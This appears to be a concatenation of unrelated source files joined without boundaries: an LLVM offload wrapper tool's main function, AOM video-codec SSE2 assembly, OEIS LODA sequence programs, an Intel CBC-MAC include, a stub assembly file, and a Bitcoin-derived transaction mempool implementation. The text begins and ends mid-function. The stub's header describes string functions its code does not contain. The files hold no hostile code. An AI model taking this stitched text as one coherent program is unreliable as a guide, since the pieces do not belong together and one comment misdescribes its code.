and produces bitcode file containing " "target binaries packaged\nas data and initialization code which " "registers target binaries in offload runtime.\n"); if (Help) { cl::PrintHelpMessage(); return 0; } auto reportError = [argv](Error E) { logAllUnhandledErrors(std::move(E), WithColor::error(errs(), argv[0])); }; if (Triple(Target).getArch() == Triple::UnknownArch) { reportError(createStringError( errc::invalid_argument, "'" + Target + "': unsupported target triple")); return 1; } // Read device binaries. SmallVector<std::unique_ptr<MemoryBuffer>, 4u> Buffers; SmallVector<ArrayRef<char>, 4u> Images; Buffers.reserve(Inputs.size()); Images.reserve(Inputs.size()); for (const std::string &File : Inputs) { ErrorOr<std::unique_ptr<MemoryBuffer>> BufOrErr = MemoryBuffer::getFileOrSTDIN(File); if (!BufOrErr) { reportError(createFileError(File, BufOrErr.getError())); return 1; } const std::unique_ptr<MemoryBuffer> &Buf = Buffers.emplace_back(std::move(*BufOrErr)); Images.emplace_back(Buf->getBufferStart(), Buf->getBufferSize()); } // Create the output file to write the resulting bitcode to. std::error_code EC; ToolOutputFile Out(Output, EC, sys::fs::OF_None); if (EC) { reportError(createFileError(Output, EC)); return 1; } // Create a wrapper for device binaries and write its bitcode to the file. WriteBitcodeToFile(BinaryWrapper(Target).wrapBinaries( makeArrayRef(Images.data(), Images.size())), Out.os()); if (Out.os().has_error()) { reportError(createFileError(Output, Out.os().error())); return 1; } // Success. Out.keep(); return 0; }
; ; Copyright (c) 2016, Alliance for Open Media. All rights reserved ; ; This source code is subject to the terms of the BSD 2 Clause License and ; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License ; was not distributed with this source code in the LICENSE file, you can ; obtain it at www.aomedia.org/license/software. If the Alliance for Open ; Media Patent License 1.0 was not distributed with this source code in the ; PATENTS file, you can obtain it at www.aomedia.org/license/patent. ; ; %include "third_party/x86inc/x86inc.asm" SECTION .text %macro REORDER_INPUTS 0 ; a c d b to a b c d SWAP 1, 3, 2 %endmacro %macro TRANSFORM_COLS 0 ; input: ; m0 a ; m1 b ; m2 c ; m3 d paddw m0, m2 psubw m3, m1 ; wide subtract punpcklwd m4, m0 punpcklwd m5, m3 psrad m4, 16 psrad m5, 16 psubd m4, m5 psrad m4, 1 packssdw m4, m4 ; e psubw m5, m4, m1 ; b psubw m4, m2 ; c psubw m0, m5 paddw m3, m4 ; m0 a SWAP 1, 5 ; m1 b SWAP 2, 4 ; m2 c ; m3 d %endmacro %macro TRANSPOSE_4X4 0 punpcklwd m0, m2 punpcklwd m1, m3 mova m2, m0 punpcklwd m0, m1 punpckhwd m2, m1 pshufd m1, m0, 0x0e pshufd m3, m2, 0x0e %endmacro ; transpose a 4x4 int16 matrix in xmm0 and xmm1 to the bottom half of xmm0-xmm3 %macro TRANSPOSE_4X4_WIDE 0 mova m3, m0 punpcklwd m0, m1 punpckhwd m3, m1 mova m2, m0 punpcklwd m0, m3 punpckhwd m2, m3 pshufd m1, m0, 0x0e pshufd m3, m2, 0x0e %endmacro %macro ADD_STORE_4P_2X 5 ; src1, src2, tmp1, tmp2, zero movd m%3, [outputq] movd m%4, [outputq + strideq] punpcklbw m%3, m%5 punpcklbw m%4, m%5 paddw m%1, m%3 paddw m%2, m%4 packuswb m%1, m%5 packuswb m%2, m%5 movd [outputq], m%1 movd [outputq + strideq], m%2 %endmacro INIT_XMM sse2 cglobal iwht4x4_16_add, 3, 3, 7, input, output, stride %if CONFIG_HIGHBITDEPTH mova m0, [inputq + 0] packssdw m0, [inputq + 16] mova m1, [inputq + 32] packssdw m1, [inputq + 48] %else mova m0, [inputq + 0] mova m1, [inputq + 16] %endif psraw m0, 2 psraw m1, 2 TRANSPOSE_4X4_WIDE REORDER_INPUTS TRANSFORM_COLS TRANSPOSE_4X4 REORDER_INPUTS TRANSFORM_COLS pxor m4, m4 ADD_STORE_4P_2X 0, 1, 5, 6, 4 lea outputq, [outputq + 2 * strideq] ADD_STORE_4P_2X 2, 3, 5, 6, 4 RET
; A337300: Partial sums of the geometric Connell sequence A049039. ; 1,3,7,12,19,28,39,51,65,81,99,119,141,165,191,218,247,278,311,346,383,422,463,506,551,598,647,698,751,806,863,921,981,1043,1107,1173,1241,1311,1383,1457,1533,1611,1691,1773,1857,1943,2031,2121,2213,2307,2403 mov $10,$0 mov $12,$0 add $12,1 lpb $12 clr $0,10 mov $0,$10 sub $12,1 sub $0,$12 mov $7,$0 mov $9,$0 add $9,1 lpb $9 mov $0,$7 sub $9,1 sub $0,$9 mov $3,$0 mov $5,2 lpb $5 mov $0,$3 sub $5,1 add $0,$5 sub $0,1 mov $2,$0 lpb $0 sub $0,1 div $0,2 sub $2,1 lpe mov $1,$2 mov $6,$5 lpb $6 mov $4,$1 sub $6,1 lpe lpe lpb $3 mov $3,0 sub $4,$1 lpe mov $1,$4 add $1,1 add $8,$1 lpe add $11,$8 lpe mov $1,$11
;; ;; Copyright (c) 2017-2022, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; ;;; Routine to compute CBC-MAC based on 128 bit CBC AES encryptionk code %define CBC_MAC %include "sse/aes128_cbc_enc_x8_sse.asm"
;[]-----------------------------------------------------------------[] ;| COMMON.ASM -- string functions | ;[]-----------------------------------------------------------------[] ; ; $Copyright: 2005$ ; $Revision: 1.4 $ ; ;Fast String standalone methods ;int __fastcall Length() const; ;AnsiString& __fastcall SetLength(int newLength); GLOBAL _mainCRTStartup section _TEXT use32 public class=code align=16 ..start: _mainCRTStartup: mov eax, [words] mov eax, 1 ret 0ch section _DATA use32 public class=data align=16 words dw 0
; A028403: Number of types of Boolean functions of n variables under a certain group. ; 4,12,40,144,544,2112,8320,33024,131584,525312,2099200,8392704,33562624,134234112,536903680,2147549184,8590065664,34360000512,137439477760,549756862464,2199025352704,8796097216512,35184380477440,140737505132544,562949986975744,2251799880794112,9007199388958720,36028797287399424,144115188612726784,576460753377165312,2305843011361177600,9223372041149743104,36893488156009037824,147573952606856282112,590295810393065390080,2361183241503542083584,9444732965876729380864,37778931863232039616512 mov $1,2 pow $1,$0 add $1,1 bin $1,2 mul $1,4 mov $0,$1
; A327573: Partial sums of the number of infinitary divisors function: a(n) = Sum_{k=1..n} id(k), where id is A037445. ; Submitted by Christian Krause ; 1,3,5,7,9,13,15,19,21,25,27,31,33,37,41,43,45,49,51,55,59,63,65,73,75,79,83,87,89,97,99,103,107,111,115,119,121,125,129,137,139,147,149,153,157,161,163,167,169,173,177,181,183,191,195,203,207,211,213,221,223,227,231,235,239,247,249,253,257,265,267,275,277,281,285,289,293,301,303,307,309,313,315,323,327,331,335,343,345,353,357,361,365,369,373,381,383,387,391,395 lpb $0 mov $2,$0 sub $0,1 seq $2,37445 ; Number of infinitary divisors (or i-divisors) of n. add $1,$2 lpe add $1,1 mov $0,$1
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2018 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <txmempool.h> #include <consensus/consensus.h> #include <consensus/tx_verify.h> #include <consensus/validation.h> #include <validation.h> #include <policy/policy.h> #include <policy/fees.h> #include <reverse_iterator.h> #include <streams.h> #include <timedata.h> #include <util/system.h> #include <util/moneystr.h> #include <util/time.h> CTxMemPoolEntry::CTxMemPoolEntry(const CTransactionRef& _tx, const CAmount& _nFee, int64_t _nTime, unsigned int _entryHeight, bool _spendsCoinbase, int64_t _sigOpsCost, LockPoints lp) : tx(_tx), nFee(_nFee), nTxWeight(GetTransactionWeight(*tx)), nUsageSize(RecursiveDynamicUsage(tx)), nTime(_nTime), entryHeight(_entryHeight), spendsCoinbase(_spendsCoinbase), sigOpCost(_sigOpsCost), lockPoints(lp) { nCountWithDescendants = 1; nSizeWithDescendants = GetTxSize(); nModFeesWithDescendants = nFee; feeDelta = 0; nCountWithAncestors = 1; nSizeWithAncestors = GetTxSize(); nModFeesWithAncestors = nFee; nSigOpCostWithAncestors = sigOpCost; } void CTxMemPoolEntry::UpdateFeeDelta(int64_t newFeeDelta) { nModFeesWithDescendants += newFeeDelta - feeDelta; nModFeesWithAncestors += newFeeDelta - feeDelta; feeDelta = newFeeDelta; } void CTxMemPoolEntry::UpdateLockPoints(const LockPoints& lp) { lockPoints = lp; } size_t CTxMemPoolEntry::GetTxSize() const { return GetVirtualTransactionSize(nTxWeight, sigOpCost); } // Update the given tx for any in-mempool descendants. // Assumes that setMemPoolChildren is correct for the given tx and all // descendants. void CTxMemPool::UpdateForDescendants(txiter updateIt, cacheMap &cachedDescendants, const std::set<uint256> &setExclude) { setEntries stageEntries, setAllDescendants; stageEntries = GetMemPoolChildren(updateIt); while (!stageEntries.empty()) { const txiter cit = *stageEntries.begin(); setAllDescendants.insert(cit); stageEntries.erase(cit); const setEntries &setChildren = GetMemPoolChildren(cit); for (txiter childEntry : setChildren) { cacheMap::iterator cacheIt = cachedDescendants.find(childEntry); if (cacheIt != cachedDescendants.end()) { // We've already calculated this one, just add the entries for this set // but don't traverse again. for (txiter cacheEntry : cacheIt->second) { setAllDescendants.insert(cacheEntry); } } else if (!setAllDescendants.count(childEntry)) { // Schedule for later processing stageEntries.insert(childEntry); } } } // setAllDescendants now contains all in-mempool descendants of updateIt. // Update and add to cached descendant map int64_t modifySize = 0; CAmount modifyFee = 0; int64_t modifyCount = 0; for (txiter cit : setAllDescendants) { if (!setExclude.count(cit->GetTx().GetHash())) { modifySize += cit->GetTxSize(); modifyFee += cit->GetModifiedFee(); modifyCount++; cachedDescendants[updateIt].insert(cit); // Update ancestor state for each descendant mapTx.modify(cit, update_ancestor_state(updateIt->GetTxSize(), updateIt->GetModifiedFee(), 1, updateIt->GetSigOpCost())); } } mapTx.modify(updateIt, update_descendant_state(modifySize, modifyFee, modifyCount)); } // vHashesToUpdate is the set of transaction hashes from a disconnected block // which has been re-added to the mempool. // for each entry, look for descendants that are outside vHashesToUpdate, and // add fee/size information for such descendants to the parent. // for each such descendant, also update the ancestor state to include the parent. void CTxMemPool::UpdateTransactionsFromBlock(const std::vector<uint256> &vHashesToUpdate) { LOCK(cs); // For each entry in vHashesToUpdate, store the set of in-mempool, but not // in-vHashesToUpdate transactions, so that we don't have to recalculate // descendants when we come across a previously seen entry. cacheMap mapMemPoolDescendantsToUpdate; // Use a set for lookups into vHashesToUpdate (these entries are already // accounted for in the state of their ancestors) std::set<uint256> setAlreadyIncluded(vHashesToUpdate.begin(), vHashesToUpdate.end()); // Iterate in reverse, so that whenever we are looking at a transaction // we are sure that all in-mempool descendants have already been processed. // This maximizes the benefit of the descendant cache and guarantees that // setMemPoolChildren will be updated, an assumption made in // UpdateForDescendants. for (const uint256 &hash : reverse_iterate(vHashesToUpdate)) { // we cache the in-mempool children to avoid duplicate updates setEntries setChildren; // calculate children from mapNextTx txiter it = mapTx.find(hash); if (it == mapTx.end()) { continue; } auto iter = mapNextTx.lower_bound(COutPoint(hash, 0)); // First calculate the children, and update setMemPoolChildren to // include them, and update their setMemPoolParents to include this tx. for (; iter != mapNextTx.end() && iter->first->hash == hash; ++iter) { const uint256 &childHash = iter->second->GetHash(); txiter childIter = mapTx.find(childHash); assert(childIter != mapTx.end()); // We can skip updating entries we've encountered before or that // are in the block (which are already accounted for). if (setChildren.insert(childIter).second && !setAlreadyIncluded.count(childHash)) { UpdateChild(it, childIter, true); UpdateParent(childIter, it, true); } } UpdateForDescendants(it, mapMemPoolDescendantsToUpdate, setAlreadyIncluded); } } bool CTxMemPool::CalculateMemPoolAncestors(const CTxMemPoolEntry &entry, setEntries &setAncestors, uint64_t limitAncestorCount, uint64_t limitAncestorSize, uint64_t limitDescendantCount, uint64_t limitDescendantSize, std::string &errString, bool fSearchForParents /* = true */) const { setEntries parentHashes; const CTransaction &tx = entry.GetTx(); if (fSearchForParents) { // Get parents of this transaction that are in the mempool // GetMemPoolParents() is only valid for entries in the mempool, so we // iterate mapTx to find parents. for (unsigned int i = 0; i < tx.vin.size(); i++) { boost::optional<txiter> piter = GetIter(tx.vin[i].prevout.hash); if (piter) { parentHashes.insert(*piter); if (parentHashes.size() + 1 > limitAncestorCount) { errString = strprintf("too many unconfirmed parents [limit: %u]", limitAncestorCount); return false; } } } } else { // If we're not searching for parents, we require this to be an // entry in the mempool already. txiter it = mapTx.iterator_to(entry); parentHashes = GetMemPoolParents(it); } size_t totalSizeWithAncestors = entry.GetTxSize(); while (!parentHashes.empty()) { txiter stageit = *parentHashes.begin(); setAncestors.insert(stageit); parentHashes.erase(stageit); totalSizeWithAncestors += stageit->GetTxSize(); if (stageit->GetSizeWithDescendants() + entry.GetTxSize() > limitDescendantSize) { errString = strprintf("exceeds descendant size limit for tx %s [limit: %u]", stageit->GetTx().GetHash().ToString(), limitDescendantSize); return false; } else if (stageit->GetCountWithDescendants() + 1 > limitDescendantCount) { errString = strprintf("too many descendants for tx %s [limit: %u]", stageit->GetTx().GetHash().ToString(), limitDescendantCount); return false; } else if (totalSizeWithAncestors > limitAncestorSize) { errString = strprintf("exceeds ancestor size limit [limit: %u]", limitAncestorSize); return false; } const setEntries & setMemPoolParents = GetMemPoolParents(stageit); for (txiter phash : setMemPoolParents) { // If this is a new ancestor, add it. if (setAncestors.count(phash) == 0) { parentHashes.insert(phash); } if (parentHashes.size() + setAncestors.size() + 1 > limitAncestorCount) { errString = strprintf("too many unconfirmed ancestors [limit: %u]", limitAncestorCount); return false; } } } return true; } void CTxMemPool::UpdateAncestorsOf(bool add, txiter it, setEntries &setAncestors) { setEntries parentIters = GetMemPoolParents(it); // add or remove this tx as a child of each parent for (txiter piter : parentIters) { UpdateChild(piter, it, add); } const int64_t updateCount = (add ? 1 : -1); const int64_t updateSize = updateCount * it->GetTxSize(); const CAmount updateFee = updateCount * it->GetModifiedFee(); for (txiter ancestorIt : setAncestors) { mapTx.modify(ancestorIt, update_descendant_state(updateSize, updateFee, updateCount)); } } void CTxMemPool::UpdateEntryForAncestors(txiter it, const setEntries &setAncestors) { int64_t updateCount = setAncestors.size(); int64_t updateSize = 0; CAmount updateFee = 0; int64_t updateSigOpsCost = 0; for (txiter ancestorIt : setAncestors) { updateSize += ancestorIt->GetTxSize(); updateFee += ancestorIt->GetModifiedFee(); updateSigOpsCost += ancestorIt->GetSigOpCost(); } mapTx.modify(it, update_ancestor_state(updateSize, updateFee, updateCount, updateSigOpsCost)); } void CTxMemPool::UpdateChildrenForRemoval(txiter it) { const setEntries &setMemPoolChildren = GetMemPoolChildren(it); for (txiter updateIt : setMemPoolChildren) { UpdateParent(updateIt, it, false); } } void CTxMemPool::UpdateForRemoveFromMempool(const setEntries &entriesToRemove, bool updateDescendants) { // For each entry, walk back all ancestors and decrement size associated with this // transaction const uint64_t nNoLimit = std::numeric_limits<uint64_t>::max(); if (updateDescendants) { // updateDescendants should be true whenever we're not recursively // removing a tx and all its descendants, eg when a transaction is // confirmed in a block. // Here we only update statistics and not data in mapLinks (which // we need to preserve until we're finished with all operations that // need to traverse the mempool). for (txiter removeIt : entriesToRemove) { setEntries setDescendants; CalculateDescendants(removeIt, setDescendants); setDescendants.erase(removeIt); // don't update state for self int64_t modifySize = -((int64_t)removeIt->GetTxSize()); CAmount modifyFee = -removeIt->GetModifiedFee(); int modifySigOps = -removeIt->GetSigOpCost(); for (txiter dit : setDescendants) { mapTx.modify(dit, update_ancestor_state(modifySize, modifyFee, -1, modifySigOps)); } } } for (txiter removeIt : entriesToRemove) { setEntries setAncestors; const CTxMemPoolEntry &entry = *removeIt; std::string dummy; // Since this is a tx that is already in the mempool, we can call CMPA // with fSearchForParents = false. If the mempool is in a consistent // state, then using true or false should both be correct, though false // should be a bit faster. // However, if we happen to be in the middle of processing a reorg, then // the mempool can be in an inconsistent state. In this case, the set // of ancestors reachable via mapLinks will be the same as the set of // ancestors whose packages include this transaction, because when we // add a new transaction to the mempool in addUnchecked(), we assume it // has no children, and in the case of a reorg where that assumption is // false, the in-mempool children aren't linked to the in-block tx's // until UpdateTransactionsFromBlock() is called. // So if we're being called during a reorg, ie before // UpdateTransactionsFromBlock() has been called, then mapLinks[] will // differ from the set of mempool parents we'd calculate by searching, // and it's important that we use the mapLinks[] notion of ancestor // transactions as the set of things to update for removal. CalculateMemPoolAncestors(entry, setAncestors, nNoLimit, nNoLimit, nNoLimit, nNoLimit, dummy, false); // Note that UpdateAncestorsOf severs the child links that point to // removeIt in the entries for the parents of removeIt. UpdateAncestorsOf(false, removeIt, setAncestors); } // After updating all the ancestor sizes, we can now sever the link between each // transaction being removed and any mempool children (ie, update setMemPoolParents // for each direct child of a transaction being removed). for (txiter removeIt : entriesToRemove) { UpdateChildrenForRemoval(removeIt); } } void CTxMemPoolEntry::UpdateDescendantState(int64_t modifySize, CAmount modifyFee, int64_t modifyCount) { nSizeWithDescendants += modifySize; assert(int64_t(nSizeWithDescendants) > 0); nModFeesWithDescendants += modifyFee; nCountWithDescendants += modifyCount; assert(int64_t(nCountWithDescendants) > 0); } void CTxMemPoolEntry::UpdateAncestorState(int64_t modifySize, CAmount modifyFee, int64_t modifyCount, int64_t modifySigOps) { nSizeWithAncestors += modifySize; assert(int64_t(nSizeWithAncestors) > 0); nModFeesWithAncestors += modifyFee; nCountWithAncestors += modifyCount; assert(int64_t(nCountWithAncestors) > 0); nSigOpCostWithAncestors += modifySigOps; assert(int(nSigOpCostWithAncestors) >= 0); } CTxMemPool::CTxMemPool(CBlockPolicyEstimator* estimator) : nTransactionsUpdated(0), minerPolicyEstimator(estimator) { _clear(); //lock free clear // Sanity checks off by default for performance, because otherwise // accepting transactions becomes O(N^2) where N is the number // of transactions in the pool nCheckFrequency = 0; } bool CTxMemPool::isSpent(const COutPoint& outpoint) const { LOCK(cs); return mapNextTx.count(outpoint); } unsigned int CTxMemPool::GetTransactionsUpdated() const { LOCK(cs); return nTransactionsUpdated; } void CTxMemPool::AddTransactionsUpdated(unsigned int n) { LOCK(cs); nTransactionsUpdated += n; } void CTxMemPool::addUnchecked(const CTxMemPoolEntry &entry, setEntries &setAncestors, bool validFeeEstimate) { NotifyEntryAdded(entry.GetSharedTx()); // Add to memory pool without checking anything. // Used by AcceptToMemoryPool(), which DOES do // all the appropriate checks. indexed_transaction_set::iterator newit = mapTx.insert(entry).first; mapLinks.insert(std::make_pair(newit, TxLinks())); // Update transaction for any feeDelta created by PrioritiseTransaction // TODO: refactor so that the fee delta is calculated before inserting // into mapTx. CAmount delta{0}; ApplyDelta(entry.GetTx().GetHash(), delta); if (delta) { mapTx.modify(newit, update_fee_delta(delta)); } // Update cachedInnerUsage to include contained transaction's usage. // (When we update the entry for in-mempool parents, memory usage will be // further updated.) cachedInnerUsage += entry.DynamicMemoryUsage(); const CTransaction& tx = newit->GetTx(); std::set<uint256> setParentTransactions; for (unsigned int i = 0; i < tx.vin.size(); i++) { mapNextTx.insert(std::make_pair(&tx.vin[i].prevout, &tx)); setParentTransactions.insert(tx.vin[i].prevout.hash); } // Don't bother worrying about child transactions of this one. // Normal case of a new transaction arriving is that there can't be any // children, because such children would be orphans. // An exception to that is if a transaction enters that used to be in a block. // In that case, our disconnect block logic will call UpdateTransactionsFromBlock // to clean up the mess we're leaving here. // Update ancestors with information about this tx for (const auto& pit : GetIterSet(setParentTransactions)) { UpdateParent(newit, pit, true); } UpdateAncestorsOf(true, newit, setAncestors); UpdateEntryForAncestors(newit, setAncestors); nTransactionsUpdated++; totalTxSize += entry.GetTxSize(); if (minerPolicyEstimator) {minerPolicyEstimator->processTransaction(entry, validFeeEstimate);} vTxHashes.emplace_back(tx.GetWitnessHash(), newit); newit->vTxHashesIdx = vTxHashes.size() - 1; } void CTxMemPool::addAddressIndex(const CTxMemPoolEntry &entry, const CCoinsViewCache &view) { LOCK(cs); const CTransaction& tx = entry.GetTx(); std::vector<CMempoolAddressDeltaKey> inserted; uint256 txhash = tx.GetHash(); for (unsigned int j = 0; j < tx.vin.size(); j++) { const CTxIn input = tx.vin[j]; const CTxOut &prevout = view.AccessCoin(input.prevout).out; if (prevout.scriptPubKey.IsPayToScriptHash()) { std::vector<unsigned char> hashBytes(prevout.scriptPubKey.begin()+2, prevout.scriptPubKey.begin()+22); CMempoolAddressDeltaKey key(2, uint160(hashBytes), txhash, j, 1); CMempoolAddressDelta delta(entry.GetTime(), prevout.nValue * -1, input.prevout.hash, input.prevout.n); mapAddress.insert(std::make_pair(key, delta)); inserted.push_back(key); } else if (prevout.scriptPubKey.IsPayToPublicKeyHash()) { std::vector<unsigned char> hashBytes(prevout.scriptPubKey.begin()+3, prevout.scriptPubKey.begin()+23); CMempoolAddressDeltaKey key(1, uint160(hashBytes), txhash, j, 1); CMempoolAddressDelta delta(entry.GetTime(), prevout.nValue * -1, input.prevout.hash, input.prevout.n); mapAddress.insert(std::make_pair(key, delta)); inserted.push_back(key); } } for (unsigned int k = 0; k < tx.vout.size(); k++) { const CTxOut &out = tx.vout[k]; if (out.scriptPubKey.IsPayToScriptHash()) { std::vector<unsigned char> hashBytes(out.scriptPubKey.begin()+2, out.scriptPubKey.begin()+22); CMempoolAddressDeltaKey key(2, uint160(hashBytes), txhash, k, 0); mapAddress.insert(std::make_pair(key, CMempoolAddressDelta(entry.GetTime(), out.nValue))); inserted.push_back(key); } else if (out.scriptPubKey.IsPayToPublicKeyHash()) { std::vector<unsigned char> hashBytes(out.scriptPubKey.begin()+3, out.scriptPubKey.begin()+23); std::pair<addressDeltaMap::iterator,bool> ret; CMempoolAddressDeltaKey key(1, uint160(hashBytes), txhash, k, 0); mapAddress.insert(std::make_pair(key, CMempoolAddressDelta(entry.GetTime(), out.nValue))); inserted.push_back(key); } } mapAddressInserted.insert(std::make_pair(txhash, inserted)); } bool CTxMemPool::getAddressIndex(std::vector<std::pair<uint160, int> > &addresses, std::vector<std::pair<CMempoolAddressDeltaKey, CMempoolAddressDelta> > &results) { LOCK(cs); for (std::vector<std::pair<uint160, int> >::iterator it = addresses.begin(); it != addresses.end(); it++) { addressDeltaMap::iterator ait = mapAddress.lower_bound(CMempoolAddressDeltaKey((*it).second, (*it).first)); while (ait != mapAddress.end() && (*ait).first.addressBytes == (*it).first && (*ait).first.type == (*it).second) { results.push_back(*ait); ait++; } } return true; } bool CTxMemPool::removeAddressIndex(const uint256 txhash) { LOCK(cs); addressDeltaMapInserted::iterator it = mapAddressInserted.find(txhash); if (it != mapAddressInserted.end()) { std::vector<CMempoolAddressDeltaKey> keys = (*it).second; for (std::vector<CMempoolAddressDeltaKey>::iterator mit = keys.begin(); mit != keys.end(); mit++) { mapAddress.erase(*mit); } mapAddressInserted.erase(it); } return true; } void CTxMemPool::addSpentIndex(const CTxMemPoolEntry &entry, const CCoinsViewCache &view) { LOCK(cs); const CTransaction& tx = entry.GetTx(); std::vector<CSpentIndexKey> inserted; uint256 txhash = tx.GetHash(); for (unsigned int j = 0; j < tx.vin.size(); j++) { const CTxIn input = tx.vin[j]; const CTxOut &prevout = view.AccessCoin(input.prevout).out; uint160 addressHash; int addressType; if (prevout.scriptPubKey.IsPayToScriptHash()) { addressHash = uint160(std::vector<unsigned char> (prevout.scriptPubKey.begin()+2, prevout.scriptPubKey.begin()+22)); addressType = 2; } else if (prevout.scriptPubKey.IsPayToPublicKeyHash()) { addressHash = uint160(std::vector<unsigned char> (prevout.scriptPubKey.begin()+3, prevout.scriptPubKey.begin()+23)); addressType = 1; } else { addressHash.SetNull(); addressType = 0; } CSpentIndexKey key = CSpentIndexKey(input.prevout.hash, input.prevout.n); CSpentIndexValue value = CSpentIndexValue(txhash, j, -1, prevout.nValue, addressType, addressHash); mapSpent.insert(std::make_pair(key, value)); inserted.push_back(key); } mapSpentInserted.insert(std::make_pair(txhash, inserted)); } bool CTxMemPool::getSpentIndex(CSpentIndexKey &key, CSpentIndexValue &value) { LOCK(cs); mapSpentIndex::iterator it; it = mapSpent.find(key); if (it != mapSpent.end()) { value = it->second; return true; } return false; } bool CTxMemPool::removeSpentIndex(const uint256 txhash) { LOCK(cs); mapSpentIndexInserted::iterator it = mapSpentInserted.find(txhash); if (it != mapSpentInserted.end()) { std::vector<CSpentIndexKey> keys = (*it).second; for (std::vector<CSpentIndexKey>::iterator mit = keys.begin(); mit != keys.end(); mit++) { mapSpent.erase(*mit); } mapSpentInserted.erase(it); } return true; } void CTxMemPool::removeUnchecked(txiter it, MemPoolRemovalReason reason) { NotifyEntryRemoved(it->GetSharedTx(), reason); const uint256 hash = it->GetTx().GetHash(); for (const CTxIn& txin : it->GetTx().vin) mapNextTx.erase(txin.prevout); if (vTxHashes.size() > 1) { vTxHashes[it->vTxHashesIdx] = std::move(vTxHashes.back()); vTxHashes[it->vTxHashesIdx].second->vTxHashesIdx = it->vTxHashesIdx; vTxHashes.pop_back(); if (vTxHashes.size() * 2 < vTxHashes.capacity()) vTxHashes.shrink_to_fit(); } else vTxHashes.clear(); totalTxSize -= it->GetTxSize(); cachedInnerUsage -= it->DynamicMemoryUsage(); cachedInnerUsage -= memusage::DynamicUsage(mapLinks[it].parents) + memusage::DynamicUsage(mapLinks[it].children); mapLinks.erase(it); mapTx.erase(it); nTransactionsUpdated++; if (minerPolicyEstimator) {minerPolicyEstimator->removeTx(hash, false);} removeAddressIndex(hash); removeSpentIndex(hash); } // Calculates descendants of entry that are not already in setDescendants, and adds to // setDescendants. Assumes entryit is already a tx in the mempool and setMemPoolChildren // is correct for tx and all descendants. // Also assumes that if an entry is in setDescendants already, then all // in-mempool descendants of it are already in setDescendants as well, so that we // can save time by not iterating over those entries. void CTxMemPool::CalculateDescendants(txiter entryit, setEntries& setDescendants) const { setEntries stage; if (setDescendants.count(entryit) == 0) { stage.insert(entryit); } // Traverse down the children of entry, only adding children that are not // accounted for in setDescendants already (because those children have either // already been walked, or will be walked in this iteration). while (!stage.empty()) { txiter it = *stage.begin(); setDescendants.insert(it); stage.erase(it); const setEntries &setChildren = GetMemPoolChildren(it); for (txiter childiter : setChildren) { if (!setDescendants.count(childiter)) { stage.insert(childiter); } } } } void CTxMemPool::removeRecursive(const CTransaction &origTx, MemPoolRemovalReason reason) { // Remove transaction from memory pool { LOCK(cs); setEntries txToRemove; txiter origit = mapTx.find(origTx.GetHash()); if (origit != mapTx.end()) { txToRemove.insert(origit); } else { // When recursively removing but origTx isn't in the mempool // be sure to remove any children that are in the pool. This can // happen during chain re-orgs if origTx isn't re-accepted into // the mempool for any reason. for (unsigned int i = 0; i < origTx.vout.size(); i++) { auto it = mapNextTx.find(COutPoint(origTx.GetHash(), i)); if (it == mapNextTx.end()) continue; txiter nextit = mapTx.find(it->second->GetHash()); assert(nextit != mapTx.end()); txToRemove.insert(nextit); } } setEntries setAllRemoves; for (txiter it : txToRemove) { CalculateDescendants(it, setAllRemoves); } RemoveStaged(setAllRemoves, false, reason); } } void CTxMemPool::removeForReorg(const CCoinsViewCache *pcoins, unsigned int nMemPoolHeight, int flags) { // Remove transactions spending a coinbase which are now immature and no-longer-final transactions LOCK(cs); setEntries txToRemove; for (indexed_transaction_set::const_iterator it = mapTx.begin(); it != mapTx.end(); it++) { const CTransaction& tx = it->GetTx(); LockPoints lp = it->GetLockPoints(); bool validLP = TestLockPointValidity(&lp); if (!CheckFinalTx(tx, flags) || !CheckSequenceLocks(*this, tx, flags, &lp, validLP)) { // Note if CheckSequenceLocks fails the LockPoints may still be invalid // So it's critical that we remove the tx and not depend on the LockPoints. txToRemove.insert(it); } else if (it->GetSpendsCoinbase()) { for (const CTxIn& txin : tx.vin) { indexed_transaction_set::const_iterator it2 = mapTx.find(txin.prevout.hash); if (it2 != mapTx.end()) continue; const Coin &coin = pcoins->AccessCoin(txin.prevout); if (nCheckFrequency != 0) assert(!coin.IsSpent()); if (coin.IsSpent() || (coin.IsCoinBase() && ((signed long)nMemPoolHeight) - coin.nHeight < COINBASE_MATURITY)) { txToRemove.insert(it); break; } } } if (!validLP) { mapTx.modify(it, update_lock_points(lp)); } } setEntries setAllRemoves; for (txiter it : txToRemove) { CalculateDescendants(it, setAllRemoves); } RemoveStaged(setAllRemoves, false, MemPoolRemovalReason::REORG); } void CTxMemPool::removeConflicts(const CTransaction &tx) { // Remove transactions which depend on inputs of tx, recursively AssertLockHeld(cs); for (const CTxIn &txin : tx.vin) { auto it = mapNextTx.find(txin.prevout); if (it != mapNextTx.end()) { const CTransaction &txConflict = *it->second; if (txConflict != tx) { ClearPrioritisation(txConflict.GetHash()); 